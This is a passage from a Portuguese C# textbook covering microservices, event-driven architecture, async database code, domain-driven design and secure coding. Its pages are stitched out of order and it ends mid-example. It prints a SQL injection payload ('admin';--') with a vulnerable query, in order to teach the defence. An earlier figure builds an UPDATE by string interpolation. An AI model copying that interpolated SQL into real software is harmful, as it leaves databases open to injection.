A metodologia de microsserviços foi uma evolução dos serviços monolíticos e superou limitações
relacionadas à escalabilidade, flexibilidade e velocidade de desenvolvimento. Num mercado cada vez mais
ágil e competitivo, empresas buscam formas de acelerar a entrega de novas funcionalidades, garantir aestabilidade dos sistemas e melhorar a experiência do usuário – fatores que impulsionaram sua adoção.
Além disso, em sistemas monolíticos a falha de um componente pode afetar toda a aplicação, mas
numa arquitetura de microsserviços os serviços são independentes e permitem isolar falhas, reduzindo
o impacto no sistema como um todo. São amplamente utilizados por empresas de tecnologia, desde
startups até gigantes globais.
Essa abordagem permite que as organizações adotem tecnologias e linguagens de programação
específicas para cada serviço, otimizando o uso de recursos e maximizando a eficiência. Outrossim,
a modularidade dos microsserviços facilita a implementação de práticas de integração e entrega
contínuas (CI/CD), permitindo que as equipes de desenvolvimento atualizem partes da aplicação de
forma independente e com maior frequência, sem interromper os demais componentes.
Na era digital contemporânea, a arquitetura de microsserviços tem sido adotada em uma ampla
gama de aplicações do dia a dia, transformando a maneira como interagimos com a tecnologia e como
os serviços digitais são entregues. Exemplos notáveis dessa implementação podem ser observados em
setores como comércio eletrônico, mídias sociais, serviços bancários e de streaming de vídeo e música,
em que a demanda por escalabilidade, flexibilidade e inovação contínua é particularmente alta.
No comércio eletrônico, gigantes como Amazon e eBay utilizam microsserviços para gerenciar
diferentes aspectos de suas plataformas, desde gestão de inventário até processamento de pagamentos e
atendimento ao cliente. Cada componente funciona de forma independente, permitindo a essas empresas
atualizar e escalar seus serviços de forma ágil, melhorando a experiência de compra para milhões de
usuários ao redor do mundo. Por exemplo, a capacidade de adicionar novos métodos de pagamento ou
ajustar algoritmos de recomendação de produtos sem interromper o funcionamento do site inteiro é uma
vantagem significativa. Mídias sociais como Facebook e Twitter adotam microsserviços para lidar com a
vasta quantidade de dados gerados pelos usuários, incluindo desde o carregamento e armazenamento
de imagens e vídeos até a distribuição de conteúdo e análise de interações.
A modularidade permite que essas empresas implementem novos recursos rapidamente, realizem
testes A/B para pequenos segmentos de usuários e garantam que o crescimento em número de usuários
ou em volume de conteúdo não comprometa a performance nem a disponibilidade do serviço. No setor
bancário, instituições financeiras estão se voltando para microsserviços para modernizar seus sistemas
e oferecer uma experiência mais personalizada e ágil, incluindo serviços como transferência de dinheiro
em tempo real, gerenciamento de contas e aplicativos móveis que fornecem acesso instantâneo a
informações financeiras e operações bancárias.
Microsserviços facilitam a integração de novas tecnologias, como blockchain e inteligência
artificial, permitindo que os bancos inovem mais rapidamente e mantenham a conformidade com
regulamentações em constante mudança. Nos serviços de streaming, como Netflix e Spotify, a arquitetura
de microsserviços é fundamental para gerenciar a entrega de conteúdo personalizado a milhões de
usuários globalmente, envolvendo desde a codificação e o armazenamento de vastas bibliotecas
284
Unidade IV
de conteúdo até a recomendação personalizada e a análise de hábitos de consumo. A capacidade de
escalar serviços individualmente permite que essas empresas mantenham alta qualidade de streaming,
mesmo durante picos de demanda, e continuem inovando a recomendação de conteúdo e a entrega
ao consumidor.
C# é uma linguagem de programação versátil e poderosa que se adapta perfeitamente ao
desenvolvimento de microsserviços (Gammelgaard, 2017), especialmente quando utilizada com o .NET
Core, uma plataforma de desenvolvimento open source que constrói aplicações modernas, tanto em
ambientes Windows quanto Linux ou macOS. A combinação de C# com o .NET Core proporciona um
ambiente robusto para desenvolver microsserviços, oferecendo recursos como gerenciamento eficiente de
dependências, monitoramento de saúde dos serviços, comunicação entre serviços através de APIs RESTful
ou gRPC e suporte a containers, facilitando o deployment e a escalabilidade dos serviços.
A escolha de C# para desenvolver microsserviços se justifica pela sua sintaxe clara, pelo suporte
abrangente da Microsoft (e sua comunidade ativa) e pelos recursos avançados da linguagem, como
gerenciamento automático de memória, tipagem estática e suporte à programação assíncrona e
concorrente – essenciais para construir serviços eficientes e escaláveis.
Vamos criar um exemplo que demonstra como criar um microsserviço básico que responde a
solicitações de hypertext transfer protocol (HTTP) com a mensagem “Hello World”. Para começar, é
necessário ter o .NET Core SDK instalado na máquina; depois de instalado, podemos criar um novo
projeto de aplicação web ASP.NET Core via linha de comando ou utilizando um IDE como o Visual Studio.
A seguir, detalhamos o passo a passo:
1) Crie um novo projeto de API Web: abra o terminal ou prompt de comando e execute
o comando da figura 112 para criar um novo projeto de API Web. Isso cria um novo diretório
chamado HelloWorldMicroservice com um projeto de API web básico.
dotnet new webapi -n HelloWorldMicroservice
Figura 112 – Criando um projeto API Web pelo terminal
2) Modifique o controller: navegue até o diretório do projeto e abra o arquivo
Controllers/WeatherForecastController.cs ou crie um novo Controller. Por simplicidade, vamos
modificar o WeatherForecastController.cs para retornar uma mensagem “Hello World”. Substitua
o conteúdo do arquivo pelo código da figura 113.
285
PROGRAMAÇÃO ORIENTADA A OBJETOS II
1. using Microsoft.AspNetCore.Mvc;
2.
3. namespace HelloWorldMicroservice.Controllers
4. {
5. [ApiController]
6. [Route(“[controller]”)]
7. public class HelloWorldController : ControllerBase
8. {
9. [HttpGet]
10. public ActionResult Get()
11. {
12. return “Hello World!”;
13. }
14. }
15. }
Figura 113 – Controller alterado
3) Execute o projeto: volte ao terminal ou prompt de comando, navegue até o diretório do
projeto e execute o comando da figura 114 para rodar o microsserviço (o comando compila
e executa a aplicação). O terminal deve mostrar uma URL para acessar o microsserviço,
geralmente https://localhost:5001 ou http://localhost:5000.
dotnet run
Figura 114 – Execução do microsserviço
4) Teste o microsserviço: abra um navegador e vá até https://localhost:5001/HelloWorld ou use
uma ferramenta como Postman para fazer uma solicitação GET para a mesma URL. Você deve
receber uma resposta com a mensagem “Hello World!”.
Esse exemplo básico demonstra a criação de um microsserviço em C# com ASP.NET Core. É claro
que em aplicações reais os microsserviços são mais complexos e envolvem autenticação, conexão com
bancos de dados, comunicação com outros microsserviços, entre outros. No entanto, esse exemplo serve
como ponto de partida para entender como microsserviços podem ser implementados em C#.
286
Unidade IV
Não é estritamente necessário usar ASP.NET para criar microsserviços em C#. Embora a plataforma
(especialmente ASP.NET Core) seja uma das mais populares e robustas para desenvolver aplicações
web e microsserviços em C#, existem alternativas, graças ao seu suporte integrado para roteamento,
middleware, injeção de dependência e outras funcionalidades essenciais. Desenvolvedores podem optar
por frameworks mais leves ou bibliotecas específicas, a depender dos requisitos do projeto, preferências
pessoais ou para evitar a sobrecarga que pode acompanhar um framework completo, como o ASP.NET.
O quadro 27 compara o ASP.NET Core com outros frameworks ou abordagens para desenvolver
microsserviços em C#, destacando uma breve descrição de cada um e o cenário de uso indicado.
Quadro 27 – Microsserviçosem C#: abordagens e frameworks
Framework
(abordagem) Descrição Indicação de uso
ASP.NET Core
Framework open source para
desenvolver aplicações web e serviços
na plataforma .NET
Ideal para aplicações empresariais robustas,
microsserviços complexos e sistemas que necessitam
de uma ampla gama de funcionalidades, como
autenticação, autorização e MVC
.NET Core e Kestrel
.NET Core é uma plataforma de
desenvolvimento cross‑platform;
Kestrel é um servidor web leve incluído
no .NET Core
Adequado para microsserviços leves e de alta
performance que requerem controle fino sobre o
pipeline de processamento de requisições, sem a
sobrecarga completa do ASP.NET
Owin e Katana
Especificação para desacoplar o
servidor web da aplicação, com Katana
sendo uma implementação para .NET
Bom para projetos que precisam de uma pipeline HTTP
personalizável e leve, especialmente útil em aplicações
existentes no .NET Framework que não usam .NET Core
NancyFX
Framework leve para construir serviços
web HTTP, inspirado no Sinatra
para Ruby
Ideal para desenvolvedores que procuram uma
abordagem minimalista para construir serviços web,
especialmente para prototipagem rápida ou aplicações
que requerem simplicidade
gRPC com .NET
Framework de chamada de
procedimento remoto de alto
desempenho que suporta comunicação
bidirecional e streaming
Melhor para microsserviços que necessitam de
comunicações de baixa latência e alto throughput,
como sistemas de tempo real e intersserviços eficientes
O quadro compara alternativas ao ASP.NET Core, destacando que a escolha do framework ou
abordagem depende das necessidades específicas do projeto, como requisitos de desempenho,
complexidade e ambiente de desenvolvimento preferido. ASP.NET Core é a escolha mais robusta para
muitos cenários devido à sua ampla gama de funcionalidades e suporte, mas outras opções podem ser
mais adequadas para projetos com requisitos específicos de leveza, simplicidade ou desempenho.
8.5 Arquiteturas baseadas em eventos
No universo da programação e do desenvolvimento de sistemas, a arquitetura orientada a eventos
tem emergido como poderosa abordagem para construir aplicações reativas e escaláveis, permitindo
aos sistemas responder de forma mais dinâmica e flexível a eventos ou ações e facilitando a criação de
aplicações interativas e eficientes. Nesse contexto, a linguagem de programação C# desempenha um
papel significativo ao oferecer recursos robustos para implementar essa arquitetura.
287
PROGRAMAÇÃO ORIENTADA A OBJETOS II
C# é uma linguagem de programação moderna, orientada a objetos, que fornece um suporte
abrangente para o desenvolvimento baseado em eventos; isso é evidenciado pela sua rica biblioteca
de classes e interfaces que permitem aos desenvolvedores definir, disparar e manipular eventos de
maneira eficaz. Por meio de delegados, eventos e expressões lambda, a linguagem facilita a subscrição
e o tratamento de notificações de eventos, permitindo que os sistemas reajam de forma assíncrona às
mudanças ou ações ocorridas.
No cerne das arquiteturas orientadas a eventos, temos que o princípio de que os componentes do
sistema devem ser fracamente acoplados, ou seja, eles interagem uns com os outros principalmente
através do envio e recebimento de eventos, sem precisar de uma referência direta entre eles. C#
suporta esse princípio com seus recursos de programação orientada a eventos, permitindo que os
desenvolvedores construam sistemas com alta coesão e baixo acoplamento – característica crucial
para a escalabilidade e a manutenção do sistema.
Como detalhamos no tópico 7, C# e .NET Framework oferecem suporte a padrões de design assíncrono
(como async/await) essenciais para desenvolver aplicações reativas, permitindo‑lhes executar operações
potencialmente bloqueadoras – como acesso a rede ou a banco de dados – de maneira não bloqueante.
Isso melhora significativamente a responsividade e o desempenho das aplicações, já que o sistema pode
continuar a processar outros eventos ou ações enquanto aguarda a conclusão dessas operações.
Além disso, middlewares orientados a eventos, como Apache Kafka ou RabbitMQ (com C#), podem
ampliar ainda mais as capacidades de sistemas orientados a eventos. Essas ferramentas oferecem recursos
avançados para gerenciar filas de mensagens, distribuir eventos e garantir entregas, possibilitando a
construção de sistemas distribuídos resilientes e de alta performance.
RabbitMQ é um broker de mensagens que implementa o Advanced Message Queuing Protocol
(AMQP) e facilita a entrega de mensagens em sistemas distribuídos (Videla; Williams, 2012), permitindo
que os componentes do sistema se comuniquem de forma desacoplada. Ao usar C#, os desenvolvedores
podem facilmente criar produtores de eventos – que publicam mensagens em filas do RabbitMQ – e
consumidores de eventos – que se inscrevem nessas filas para receber mensagens.
A biblioteca‑cliente RabbitMQ para C# oferece uma API rica e expressiva, permitindo aos
desenvolvedores configurar a troca de mensagens, a durabilidade e a qualidade do serviço de forma
precisa; o Apache Kafka, por outro lado, é uma plataforma de streaming de eventos distribuída que
fornece funcionalidades robustas para processar e armazenar fluxos de eventos (Shapira et al., 2021).
Com ele os produtores de eventos em C# podem publicar fluxos de dados em tópicos, enquanto
os consumidores podem se inscrever nesses tópicos para processar os dados em tempo real ou em
lotes. A integração de C# com Kafka é facilitada por bibliotecas‑cliente, como a Confluent.Kafka,
que encapsula a complexidade de interagir com o Kafka e oferece uma interface simplificada para
produzir e consumir mensagens.
Construir produtores de eventos em C# geralmente envolve serializar objetos em formato adequado
para transmissão (como JSON) e publicar esses objetos serializados como mensagens numa fila do
RabbitMQ ou num tópico do Kafka. Essa abordagem permite que os sistemas distribuam informações
288
Unidade IV
de maneira eficiente, garantindo que os dados relevantes sejam disponibilizados para os componentes
que necessitam deles, sem precisar de comunicação direta ou sincronização rígida.
Consumidores de evento, por sua vez, desempenham o papel de ouvintes e aguardam a chegada de
novas mensagens nos tópicos ou filas em que estão inscritos. Ao receber uma mensagem, o consumidor
em C# desserializa seu conteúdo de volta para um objeto ou estrutura de dados relevante e, em
seguida, processa essa informação de acordo com a lógica de negócios implementada, podendo incluir
desde simples tarefas de registro até operações complexas, como atualizações em bancos de dados,
comunicações com outros serviços ou iniciação de processos de negócio.
289
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Resumo
A unidade abordou o desenvolvimento de aplicativos multiplataforma,
focando as tecnologias Xamarin e .NET MAUI. Inicialmente destacamos a
importância de criar aplicações que funcionem em diferentes plataformas
utilizando uma base de código única, ressaltando as vantagens de Xamarin
e .NET MAUI nesse contexto.
Xamarin, adquirido pela Microsoft, permite o desenvolvimento utilizando
C# e .NET para criar aplicativos para iOS, Android e Windows; enquanto
o .NET MAUI, anunciado como parte do .NET 6, foi apresentado como
evolução do Xamarin.Forms por oferecer um framework mais moderno e
flexível para o desenvolvimento cross‑platform. Comparamos o Xamarin
e o .NET MAUI em termos de estado de desenvolvimento, base de código,
interface do usuário, performance, comunidade e suporte, orientando a
escolha entre as duas tecnologias.
Discutimos o processo de desenvolvimento de aplicativos móveis
com .NET MAUI, usando como exemplo a criação de uma aplicação de
lista de tarefas e destacando a interação entre a lógica de programação
e a interface do usuário através de XAML e code‑behind. Adicionalmente,
abordamos a visualização de dados com as bibliotecas OxyPlot e LiveCharts,
demonstrando3. ed. Nova York: Manning, 2023.
295
296
297
298
Informações:
www.sepi.unip.br ou 0800 010 9000de forma assíncrona
SqlCommand ExecuteReaderAsync Executa a consulta SQL de forma assíncrona e retorna um
SqlDataReader para ler os dados
SqlDataReader ReadAsync Avança o SqlDataReader para o próximo registro de forma
assíncrona
SqlCommand ExecuteNonQueryAsync Executa uma instrução SQL de forma assíncrona (como INSERT,
DELETE, UPDATE) e retorna o número de linhas afetadas
SqlCommand ExecuteScalarAsync
Executa a consulta e retorna à primeira coluna da primeira
linha do conjunto de resultados retornado pela consulta. Útil
para obter um único valor de forma assíncrona
Stream ReadAsync Lê os dados de um stream de forma assíncrona e os escreve em
um buffer
Stream WriteAsync Escreve dados assíncronos em um stream a partir de um buffer
Task WaitAsync Espera a tarefa ser concluída dentro de um período de tempo
especificado de forma assíncrona
HttpClient GetAsync Envia uma solicitação GET de forma assíncrona ao servidor e
retorna a resposta
HttpClient PostAsync Envia uma solicitação POST de forma assíncrona ao servidor e
retorna a resposta
HttpClient SendAsync Envia uma solicitação HTTP de forma assíncrona e retorna a
resposta
Task Delay Cria uma tarefa que se completa de forma assíncrona após um
intervalo de tempo especificado
Esse quadro não é exaustivo, mas fornece uma visão geral de alguns dos métodos fundamentais para
trabalhar com programação assíncrona em C#. Métodos assíncronos são essenciais para desenvolver
aplicações responsivas, especialmente em cenários que envolvem I/O ou outras operações que podem
levar tempo significativo para ser concluídas, como acessos a banco de dados ou chamadas a serviços
web. Com esses métodos é possível melhorar o desempenho e a responsividade de aplicativos .NET.
Os turnos dos jogadores – que podem incluir interações com o banco de dados para salvar estados
de jogo ou recuperar informações – também podem se beneficiar da execução assíncrona. A figura 85
detalha essa utilização.
240
Unidade IV
1. public async Task ExecutarTurnoAsync(Jogador jogador)
2. {
3. // Simula a jogada de um dado de forma assíncrona, por exemplo
4. int resultadoDado = await SimularRolagemDeDadoAsync();
5.
6. // Atualiza a posição do jogador de forma assíncrona no banco de dados
7. await AtualizarPosicaoJogadorNoBancoDeDadosAsync(jogador.Id,
resultadoDado);
8. }
9.
10. private async Task SimularRolagemDeDadoAsync()
11. {
12. // Simulação assíncrona de uma rolagem de dado
13. await Task.Delay(1000); // Simula o tempo de espera
14. return new Random().Next(1, 7); // Retorna um número entre 1 e 6
15. }
16.
17. private async Task AtualizarPosicaoJogadorNoBancoDeDadosAsync(int
jogadorId, int movimento)
18. {
19. using (var conexao = new
SqlConnection(“stringDeConexaoAoSqlServer”))
20. {
21. await conexao.OpenAsync();
22. var comando = new SqlCommand($”UPDATE Jogadores SET Posicao
+= {movimento} WHERE Id = {jogadorId}”, conexao);
23. await comando.ExecuteNonQueryAsync();
24. }
25. }
Figura 85 – Executando turnos de jogador de forma assíncrona
241
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Na linha 1, o método ExecutarTurnoAsync é uma função assíncrona que representa a execução de
um turno de um jogador. A palavra‑chave async indica que o método realiza operações assíncronas
e, por isso, pode conter uma ou mais chamadas await, que pausam a execução do método até que a
operação assíncrona seja concluída, sem bloquear a thread principal da aplicação.
Dentro de ExecutarTurnoAsync, a primeira ação é simular a jogada de um dado com o método
SimularRolagemDeDadoAsync, também assíncrono – o que é indicado por seu retorno Task, ou
seja, ele retornará um valor inteiro (o resultado da rolagem do dado) de forma assíncrona. A simulação
inclui uma pausa deliberada (await Task.Delay(1000)), que simula o tempo de espera pela rolagem do
dado, sem bloquear a execução do programa, e depois retorna um número aleatório entre 1 e 6 (linha 14).
Obtido o resultado do dado, ExecutarTurnoAsync atualiza a posição do jogador no banco de dados
com o método AtualizarPosicaoJogadorNoBancoDeDadosAsync, passando o identificador do jogador
e o resultado do dado como argumentos. Esse método, por sua vez, estabelece uma conexão com o
banco de dados SQL Server (indicado pela string de conexão stringDeConexaoAoSqlServer) e executa
uma atualização SQL de forma assíncrona para modificar a posição do jogador baseada no resultado da
rolagem do dado.
Novamente, o uso do bloco using garante que a conexão seja corretamente fechada e liberada após
a operação, mantendo eficiente o gerenciamento de recursos. O uso de await antes de operações como
OpenAsync, ExecuteNonQueryAsync e até mesmo Task.Delay pausa a execução do método assíncrono
até que a operação completa seja finalizada. Isso permite que outras partes do programa continuem
executando, o que é crucial para manter aplicações rápidas e responsivas, especialmente em interfaces
de usuário ou quando várias operações precisam ser realizadas ao mesmo tempo.
Embora a programação assíncrona ofereça muitas vantagens, é importante usá‑la de forma criteriosa.
Operações intrinsicamente rápidas e que não bloqueiam a thread principal podem não se beneficiar
do overhead associado à criação e ao gerenciamento de tarefas assíncronas; portanto async e await
são mais indicados para operações de longa duração ou que acessem recursos externos, nos quais a
melhoria na responsividade da aplicação justifica o uso dessas técnicas.
7.2 Princípios e práticas de domain-driven design (DDD)
DDD é uma abordagem de desenvolvimento de software que enfatiza a importância de alinhar a
estrutura e a linguagem do código com o domínio de negócio. Essa metodologia foi popularizada por Eric
Evans no livro Domain‑driven design: tackling complexity in the heart of software, publicado em 2003.
Essa abordagem busca criar um modelo de domínio rico, que é uma representação abstrata do
domínio de negócio, refletindo suas regras, operações, estratégias e terminologia. Um dos princípios
fundamentais do DDD é o foco no núcleo do domínio, que é a parte mais complexa e valiosa do
sistema de software em desenvolvimento. Para lidar com essa complexidade, ele propõe uma linguagem
ubíqua, ou seja, comum e compartilhada entre desenvolvedores e especialistas do domínio, para facilitar
a comunicação e garantir que todos os envolvidos tenham uma compreensão clara tanto do próprio
domínio quanto das funcionalidades do sistema.
242
Unidade IV
A ideia é que, ao adotar uma linguagem compartilhada, ambiguidades e mal‑entendidos sejam
significativamente reduzidos, facilitando a colaboração e o alinhamento entre as partes envolvidas no
desenvolvimento e na definição dos requisitos do sistema. Um dos principais benefícios da linguagem
ubíqua é que ela ajuda a eliminar a frequente barreira linguística entre especialistas de domínio – que
conhecem profundamente as regras de negócio – e desenvolvedores – que dominam a técnica para
construir o sistema.
Em vez de cada grupo usar sua própria terminologia técnica ou jargão, todos se comprometem a usar
um vocabulário comum, que reflita com precisão os conceitos do domínio de negócio. Isso não apenas
melhora a comunicação, mas também garante que o modelo de domínio – a representação abstrata do
domínio de negócio dentro do software – seja um reflexo fiel das necessidades e processos de negócio.
Imagine uma empresa que vende produtos online. Nela, termos como pedido, cliente, produto,
carrinho de compras e checkout são usados frequentemente tanto pelos funcionários que gerenciam
o dia a dia do negócio quanto pela equipe de desenvolvimento que constrói e mantém o sistema de
e‑commerce. Sem uma linguagem ubíqua, poderia haver confusão com o significado de cada termo.
Por exemplo, a equipe de negócios pode se referir a um “pedido” como qualquer solicitação de compra
feita por um cliente, enquanto para a equipe de desenvolvimento um “pedido” pode ser um objeto
específicodentro do código que inclui detalhes como lista de produtos, cliente que fez o pedido ou
status do pagamento.
Ao adotar uma linguagem ubíqua, todos na empresa concordam em definir claramente cada termo.
No exemplo, pedido será definido como “uma solicitação confirmada de compra de um ou mais produtos
por um cliente, que inclui detalhes dele e da lista de produtos, informações de pagamento e status de
entrega”. Essa definição é usada em todas as discussões, documentações e no código, garantindo que
não haja mal‑entendidos com o que um pedido representa, tanto no contexto do negócio quanto no
sistema de software.
O DDD também enfatiza a importância da colaboração entre a equipe de desenvolvimento e os
especialistas do domínio. Essa parceria é crucial para criar um modelo de domínio preciso e eficaz que,
com discussões contínuas e refinamento, pode garantir que o software atenda às necessidades reais do
negócio e possa se adaptar a mudanças.
Outra prática essencial do DDD é a dividir o domínio em subdomínios. Cada subdomínio representa
uma parte do domínio de negócio e pode ser desenvolvido de forma independente. Essa abordagem
permite que a equipe gerencie a complexidade do domínio, concentrando‑se em áreas menores e mais
gerenciáveis. Subdomínios podem ser classificados em diferentes tipos – como núcleo, de suporte ou
genéricos –, dependendo de sua importância estratégica para o negócio.
Adicionalmente, o DDD introduz o conceito de contextos delimitados, que são fronteiras lógicas
dentro das quais um modelo de domínio específico é definido e aplicado. Esses contextos permitem que
diferentes modelos coexistam sem conflito, mesmo que compartilhem nomes ou conceitos similares.
A integração entre contextos delimitados é cuidadosamente gerenciada através de padrões como
integração baseada em eventos ou interfaces compartilhadas.
243
PROGRAMAÇÃO ORIENTADA A OBJETOS II
No desenvolvimento prático, o DDD incentiva padrões de design e arquitetura que suportem seu
foco no domínio, incluindo padrões como Entidades, Objetos de Valor, Agregados, Repositórios e
Serviços de Domínio, que ajudam a estruturar o código de maneira que reflita o modelo de domínio,
promovendo a encapsulação, a integridade dos dados e a lógica de negócio claramente definida.
Entidades são objetos que desenvolvem uma identidade contínua ao longo do tempo, mesmo
se seus atributos mudarem. Essa identidade permite que se diferenciem uns dos outros, tornando‑se
únicos dentro do domínio. Por exemplo, num sistema de gerenciamento de pedidos, cada pedido é uma
entidade, identificada por um número exclusivo de pedido, permitindo que o sistema rastreie e gerencie
cada pedido individualmente, independentemente de mudanças em seus detalhes, como itens do
pedido ou status.
Objetos de Valor, por outro lado, são definidos inteiramente por seus atributos e não têm identidade,
sendo usados para descrever aspectos do domínio importantes para o modelo de negócio, mas que não
exigem rastreamento de identidade. Exemplo clássico é um endereço num sistema de entrega: o que
importa são os componentes do endereço (rua, cidade, CEP), e não uma identidade única do local.
Agregados são um padrão que agrupa um conjunto de objetos (entidades e objetos de valor)
numa unidade de consistência lógica para transações, persistência e design. Cada agregado tem uma
entidade‑raiz, que é a única forma de acessar os objetos dentro desse agregado, garantindo integridade
de operações e de regras de negócio. Por exemplo, um Pedido e seus Itens de Pedido podem formar um
agregado, no qual o Pedido atua como a entidade‑raiz e garante que qualquer modificação nos itens do
pedido o mantenha num estado consistente.
Repositórios abstraem a lógica de acesso a dados dos agregados e fornecem uma interface clara
para gerenciar coleções de entidades. Eles permitem que o código do domínio permaneça desacoplado
da infraestrutura de persistência de dados, facilitando operações como salvar, recuperar, atualizar ou
excluir entidades sem que o domínio precise saber como se implementa essas operações.
Serviços de Domínio são parte crucial do DDD e representam operações que não pertencem
naturalmente a uma entidade ou valor‑objeto. Eles encapsulam uma lógica de negócios que transcende
uma única entidade, oferecendo funcionalidades que atuam sobre o modelo de domínio sem se
enquadrar claramente dentro de um objeto de domínio específico. Isso pode incluir operações complexas
que envolvem vários agregados ou regras de negócio que não se encaixam bem numa entidade ou
valor‑objeto.
Aplicados esses padrões de forma coesa, o DDD fornece uma poderosa abordagem para lidar com
a complexidade dos sistemas de software e promove maior alinhamento entre design do software e
domínio de negócio. Isso resulta num código mais claro, modular e adaptável, que pode evoluir de
forma mais eficaz em resposta a mudanças nas necessidades do negócio.
Importante destacar também o contexto delimitado (bounded context), essencialmente uma
fronteira lógica dentro da qual um modelo de domínio específico é aplicado. Dentro dela todos os termos
e conceitos têm definições claras e específicas, e o modelo de domínio é projetado para ser internamente
244
Unidade IV
consistente. Isso significa que o mesmo termo pode ter significados diferentes em contextos diferentes,
delimitados dentro do mesmo sistema de software, refletindo a variação no entendimento e na aplicação
desse termo nas diversas áreas de negócio.
Implementar contextos delimitados no desenvolvimento de software envolve a definição explícita
das interfaces através das quais os contextos delimitados interagem uns com os outros. Essas
interfaces – conhecidas como pontos de integração ou APIs – permitem que diferentes partes do sistema
se comuniquem de maneira controlada, minimizando acoplamentos indesejados e garantindo que as
dependências entre diferentes contextos sejam bem definidas e gerenciáveis.
A aplicação de contextos delimitados tem vários resultados práticos importantes no design
de sistemas. Primeiramente, facilita o foco na complexidade de cada parte do domínio de negócio,
permitindo que equipes de desenvolvimento criem soluções mais bem adaptadas às necessidades de
cada área. Isso também melhora a organização do código e da arquitetura do sistema, pois cada contexto
pode ser desenvolvido, testado e evoluído de forma independente.
Além disso, contextos delimitados ajudam a evitar conflitos e confusões decorrentes do uso de
linguagem e regras de negócio ambíguas. Estabelecidos limites claros e definida uma linguagem
ubíqua dentro de cada contexto, o DDD assegura que todos os envolvidos – de desenvolvedores a
stakeholders – tenham uma compreensão comum dos conceitos e processos essenciais ao domínio.
A introdução de contextos delimitados em um projeto de software não é tarefa trivial e requer
compreensão profunda do domínio de negócio, além de uma colaboração estreita entre equipes de
desenvolvimento e especialistas do domínio. A identificação e definição desses contextos muitas vezes
surgem de um processo iterativo de descoberta, análise e refinamento, que se desdobra ao longo de
todo o ciclo de vida do desenvolvimento do software.
Para ilustrar esses conceitos do DDD em ação, imagine um sistema de e‑commerce que atende
a diversos aspectos de um negócio online, como gestão de produtos, processamento de pedidos e
administração de clientes. Esse sistema é complexo e abrange várias áreas de negócio, cada uma com
suas próprias regras, terminologias e requisitos.
A aplicação de contextos delimitados pode ajudar a organizar e gerenciar essa complexidade
de forma eficaz (a seguir descreveremos cada um desses contextos com suas respectivas entidades,
valor‑objeto e serviços de domínio). Embora cada contexto delimitado opere de forma independente,
eles precisam interagir entre si para proporcionar uma experiência de usuário coesa. Por exemplo,
quando um Pedido é criado no contextode Processamento de Pedidos, informações sobre os Produtos
são necessárias no contexto de Gestão de Produtos. Isso pode ser alcançado por chamadas de API
ou eventos de domínio, permitindo que um contexto consuma serviços ou dados expostos por outro,
sem criar dependências rígidas entre eles.
A seguir, uma aplicação prática do DDD com três contextos delimitados.
245
PROGRAMAÇÃO ORIENTADA A OBJETOS II
7.2.1 Contexto delimitado 1: gestão de produtos
Foca a administração do catálogo de produtos, incluindo adição, remoção e atualização de produtos.
Aqui, conceitos como Produto, Categoria e Estoque são fundamentais, e nesse contexto um Produto
tem atributos como ID, descrição, preço e quantidade em estoque. As operações podem incluir ajuste de
estoque, categorização de produtos e definição de preços.
• Entidades
— Produto
— Categoria
• Valor-objeto
— Descrição do produto
— Preço
• Serviços de domínio
— Categorização
— Precificação
7.2.2 Contexto delimitado 2: processamento de pedidos
Lida com tudo relacionado a criação, atualização e rastreamento de pedidos, e gerencia o ciclo
de vida de um pedido desde sua criação até a entrega. Conceitos importantes incluem Pedido, Item de
Pedido e Status de Pedido; e nesse contexto um Pedido é composto por vários Itens de Pedido e está
associado a um Cliente específico.
• Entidades
— Pedido
— Item do pedido
• Valor-objeto
— Endereço de entrega
246
Unidade IV
• Serviços de domínio
— Cálculo de frete
— Rastreamento de pedido
7.2.3 Contexto delimitado 3: administração de clientes
Gerencia informações sobre clientes, como cadastro, autenticação e histórico de pedidos. Aqui um
Cliente tem atributos como ID, nome, endereço de email e senha; e esse contexto também gerencia a
autenticação e autorização dos usuários.
• Entidades
— Cliente
— Conta de usuário
• Valor-objeto
— Endereço de email
— Senha
• Serviços de domínio
— Autenticação
— Gerenciamento de perfil
Essa abordagem permite que cada parte do sistema evolua de forma independente, reduzindo a
complexidade e facilitando a manutenção. Além disso, ajuda a garantir que as alterações em um contexto
não afetem inadvertidamente outras partes do sistema, promovendo uma arquitetura de software mais
robusta e escalável.
7.3 Práticas de programação segura em C#
Segurança no desenvolvimento de software não é apenas uma preocupação adicional, mas um
aspecto fundamental que permeia todas as fases do ciclo de vida do processo. Na medida em que ataques
cibernéticos se sofisticam, é inegável a importância de incorporar práticas de segurança robustas, desde
a concepção até a implantação de aplicações. Em particular, a linguagem de programação C# oferece
uma série de práticas e recursos recomendados que, se adequadamente empregados, podem mitigar
significativamente o risco de vulnerabilidades comuns, como injeção de SQL e XSS.
247
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Lembrete
Injeção de SQL é uma técnica de ataque que explora a construção
de consultas SQL inserindo código malicioso, o que permite ao atacante
manipular ou acessar dados indevidamente. Para combater essa ameaça, é
essencial validar todas as entradas do usuário. Isso significa verificar se
os dados fornecidos seguem os formatos esperados antes de processá‑los.
Em C#, isso pode ser alcançado com expressões regulares, que permitem
definir padrões específicos a que as entradas devem corresponder.
Além disso, usar parâmetros em consultas SQL (como fizemos na
figura 79) em vez de concatenar strings é prática recomendada que
impede a interpretação de partes da entrada como código SQL, eliminando
a possibilidade de injeção. Para ilustrar esse tipo de ataque, suponha um
campo de entrada no qual o usuário pode digitar seu nome de usuário
para fazer login. O aplicativo então verifica esse nome contra um banco de
dados para encontrar uma correspondência.
A figura 86 mostra um exemplo de consulta SQL vulnerável, pois um atacante pode inserir um
valor malicioso no campo de entrada, como admin’;--, de modo que a consulta SQL se transforma na
consulta da figura 87. Os caracteres – (hífen duplo) representam um comentário em SQL, fazendo com
que o restante da consulta seja ignorado. Isso pode permitir que o atacante faça login como admin sem
precisar de uma senha.
string query = “SELECT * FROM users WHERE username = ‘” + userInput + “’”;
Figura 86 – Exemplo de código vulnerável a SQL Injection
SELECT * FROM users WHERE username = ‘admin’;--’
Figura 87 – Consulta SQL adulterada pelo atacante
Uma maneira de mitigar esse ataque é validar a entrada do usuário usando expressões regulares,
garantindo que apenas caracteres seguros sejam aceitos. Por exemplo, se os nomes de usuário devem
consistir apenas de letras e números, podemos verificar a entrada do usuário como no exemplo
da figura 88.
248
Unidade IV
1. using System.Text.RegularExpressions;
2. string userInput = “admin’;--”;
3. bool isValidInput = Regex.IsMatch(userInput, @”^[a-zA-Z0-9]+$”);
4.
5. if (!isValidInput)
6. {
7. // Lidar com a entrada inválida
8. }
9. else
10. {
11. // Processar a entrada segura
